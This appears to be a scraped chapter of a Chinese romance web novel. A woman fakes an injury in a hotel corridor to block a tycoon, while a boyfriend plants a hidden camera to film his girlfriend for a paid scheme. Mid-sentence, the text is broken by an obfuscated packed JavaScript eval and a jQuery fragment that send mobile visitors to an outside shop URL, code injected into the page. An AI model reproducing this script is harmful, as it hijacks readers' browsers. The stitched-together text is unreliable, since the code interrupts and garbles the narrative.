走廊里昏黄的壁灯打在男人冷峻的眉眼上,深邃的瞳孔里倒映着温杳惊慌失措的脸。
那张脸,温杳就算化成灰也认得出来!
霍砚戈!
他怎么会在这儿?
温杳的脑子里仿佛有一万头草泥马呼啸而过,原本因为狂奔而沸腾的血液,在这一刻瞬间凉透。
市郊、维也纳酒店、8012房间、霍砚戈……
眼前的景象……
这尊大佛绝对是查到了沈清颜和宋启扬的事,亲自来“捉奸”的!
如果让他走到走廊尽头,推开那扇门,看到里面的沈清颜……
“云朵跳跳机”的真实身份就会彻底曝光!
她用室友照片诈骗几百万的铁证就会直接甩在霍砚戈脸上!
到那时候,就不是退钱能解决的事了,京市顶级财阀的怒火,足够把她直接保送进去踩十八年缝纫机,说不定还能缝个无期徒刑!
不行!绝对不行!
就算天王老子来了,今晚霍砚戈也别想往前再走一步!
沈清颜那边只能听天由命,眼下保住自己的小命才是第一要务!
“啊!”
温杳眼底闪过一丝决绝,猛地一把将身前的男人用力推开。
霍砚戈完全没料到怀里的女孩会突然发难,出于惯性往后退了半步,眉头倏地蹙起。
而温杳身体往后一倒,整个人夸张地跌坐在厚厚的地毯上,手捂着脚踝,发出一声惨绝人寰的痛呼:“哎哟喂!我的脚!我的腰!我的尾椎骨啊!”
霍砚戈垂眸看着在地上疼得龇牙咧嘴的女孩,眼底划过一抹愕然,随即化为极冷的寒意:“你做什么?”
“做什么?你撞了人还有理了是不是?!”
温杳抬起头,眼眶瞬间憋得通红,指着霍砚戈控诉。
“我好痛……你把我撞出内伤了你要负责,哎哟……疼死我了,我肯定骨折了!”
霍砚戈深幽的黑眸死死盯着她。
他心里记挂着8012房间里的事,根本没有闲情逸致在这里跟一个碰瓷的女大学生纠缠。
他极快地恢复了冷若冰霜的面色,从大衣内侧的口袋里抽出一张烫金的名片,骨节分明的手指捏着,冷冷地丢在温杳手边。
“自己去医院。”
男人的嗓音没有任何起伏,透着高高在上的凉薄。
“拿着名片去霍氏集团法务部,后续的所有医疗费用我全包,另外给你十倍赔偿,现在,让开!”
说完,他连看都没再看她一眼,迈开修长的腿就要从她身边绕过去。
想走?门都没有!
温杳眼看着他要离开,心一横,直接往前一扑,双臂犹如铁箍一般,死死抱住了霍砚戈的一条大腿!
“我不去什么霍氏集团!谁知道你这名片是不是天桥底下十块钱印了一百张的假货!”
温杳把脸埋在他的西装裤管上,扯着嗓子干嚎。
“撞了人就想跑,肇事逃逸啊你!今天你不亲自把我送去医院,你休想走!来人啊,救命啊,撞死人不偿命啦……”
霍砚戈的脚步硬生生被拖住,高大的身躯猛地一僵。
他有极重的洁癖,平时极度厌恶与人肢体接触,刚才顺手拉她一把已经是出于本能的极限,现在被她死死抱着腿,甚至能感觉到她把鼻涕眼泪全往自己昂贵的高定西装裤上蹭,他额角的青筋狠狠跳了两下。
“放手!”
他的声音已经压到了极致的冰点,周身散发着骇人的杀气。
“我不放!你休想逃脱法律的制裁!”
温杳抱得更紧了,恨不得整个人长在他腿上。
*
与此同时,走廊尽头的8012房间内。
浴室的水声刚刚停歇,“咔哒”一声,磨砂玻璃门被推开。
宋启扬刚刚把一个微型摄像头塞进电视机柜旁边的花瓶装饰里,调整好角度,一转头,眼睛瞬间直了。
沈清颜刚刚洗完澡,身上只裹着一条白色的浴巾,露出大片白皙的脖颈和纤细的小腿。
她湿漉漉的长发随意地披在肩头,脸颊被热气蒸腾得透着羞怯的粉红,水珠顺着锁骨滑入浴巾的边缘,整个人透着一股惹人怜爱的纯欲感。
宋启扬喉结重重地滚动了一下,咽了一口唾沫。
他在心里暗暗感叹,这波真是血赚不亏!不仅能拿到金主承诺的一百万报酬,还能顺便把校花给睡了,拍下视频拿捏在手里,以后想怎么使唤就怎么使唤。
贪婪和欲望瞬间冲昏了头脑,宋启扬维持不住那副斯文的做派,三步并作两步走过去,张开双臂就朝沈清颜扑了过去,撅着嘴就要亲上那张红润的唇:“颜颜,你真美,我等不及了……”
“啊……别!”
沈清颜吓了一跳,本能地偏过头,往后退了一步躲开了他的触碰。
宋启扬扑了个空,眉头瞬间皱了起来,眼底闪过一丝烦躁的戾气。
沈清颜红着脸,咬着下唇,不敢看他。
“你……你身上有烟味,还有汗味,你先去洗个澡吧。”
“洗什么澡,做完再洗不一样吗?”
宋启扬有些不耐烦地想发飙。装了这么多天的孙子,到了这一步她还在这儿拿乔,真把自己当贞洁烈女了?
但他脑海里忽然闪过那位姜大小姐的话,“必须拍到她主动上床的下贱样,事成之后,一百万马上打到你卡上。”
一百万!
宋启扬深吸了一口气,强行把火气压了下去。
他强挤出一个温柔又无奈的笑,伸手摸了摸沈清颜的湿发。
“好,听你的,我去洗得干干净净的,你乖乖在床上等我,别乱跑。”
看着宋启扬转身走进浴室,听着里面重新响起哗啦啦的水声,沈清颜这才松了一口气,局促地走到床沿边坐下。
*
走廊。
“我再说最后一遍,放开!”霍砚戈居高临下地看着腿部挂着的这块“牛皮糖”,如果眼神能杀人,温杳现在已经被千刀万剐了。
“我也再说最后一遍!送我去医院!不然我就打110了!”
温杳死鸭子嘴硬,仰着头跟他对峙。
霍砚戈胸膛起伏了一下,极力克制着把她一脚踹飞的冲动。
他时间有限,不想在这种无关紧要的疯女人身上浪费时间。
他猛地伸手,从皮夹里抽出一张纯黑色的无密码银行卡,冷着脸递到温杳眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899973|209791||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前:“这张卡里有一百万,拿着钱,立刻从我眼前消失。”
温杳干嚎的声音戛然而止。
她的视线死死黏在那张质感极佳的黑卡上,喉咙不受控制地上下吞咽。
一百万!
整整一百万啊!
温杳的内心疯狂咆哮:接啊!快接过来!有了这一百万,飞鱼的债不用愁了,还能还掉两三个大佬,这得少在咖啡店洗多少个杯子,少熬多少个大夜做兼职啊!
她的手指几乎是本能地颤抖着想要抬起来。
然而,就在指尖即将碰到卡片边缘的瞬间,理智的警钟在她脑海里疯狂作响。
接了这笔钱,她就能还债;但接了这笔钱让开路,霍砚戈就会推开8012的门!到时候马甲一掉,别说一百万,她连命都要交代在这儿!
比起少奋斗几年,不用坐牢才是硬道理!
温杳猛地甩了甩头,强行把视线从那张黑卡上移开,眼神瞬间变得清明。
她不仅没松手,反而一把拍开了霍砚戈递卡的手,扬起下巴嗤笑一声:“一百万?你糊弄鬼呢!随便拿张黑卡就说里面有一百万?你以为拍霸道总裁电视剧呢?看你穿得人模狗样,说不定卡里连一百块都没有!少废话,带我去医院拍片子!”
霍砚戈的手僵在半空中。
他霍氏总裁,随手给出的一百万,居然被一个碰瓷的女大学生嘲讽卡里连一百块都没有?
他眉心处的褶皱死死地拧在一起,身上的冷气几乎要将走廊冻结。
*
8012房间内。
沈清颜双手抱着膝盖坐在床边,心跳得极快。
她不知道自己今晚的决定到底对不对,但宋启扬这几天真的对她很好,好到让她觉得,把自己交给他,也是水到渠成的事。
“嗡嗡嗡——嗡嗡嗡——”
床头柜上,宋启扬的手机突然剧烈地高频震动起来。
沈清颜吓了一跳,转头看去。
屏幕亮着,来电显示是一串没有备注的本地陌生号码。
她不想侵犯隐私,于是转过头没有理会。
震动停止了。
然而,不到两秒钟,“嗡嗡嗡——”那通电话锲而不舍地再次打了进来,大有不接听就决不罢休的架势,在安静的房间里显得格外刺耳。
沈清颜看了一眼紧闭的浴室门,水声还在响。
万一是家里出什么急事了呢?宋启扬家里条件不好,父母身体也差,半夜打电话,真的很可能是急事。
想到这里,沈清颜犹豫了一下,还是伸出手,拿起了手机,按下了接听键。
“喂,您好,启扬他现在在洗……”
“宋启扬你个王八蛋,你真是反了天了!!”
沈清颜的话还没说完,听筒里猛地炸开一道尖锐、愤怒的女人骂声。
那声音极大,穿透力极强,震得沈清颜耳膜生疼。
“竟敢拉黑老娘的号码?你以为你算个什么东西,睡完老娘拍拍屁股就想走人?拿了我的钱去哄你学校里那个蠢货校花,现在想把老娘踹了?我告诉你宋启扬,没门!你今天不把话说清楚……”
声音戛然而止。
沈清颜举着手机呆若木鸡……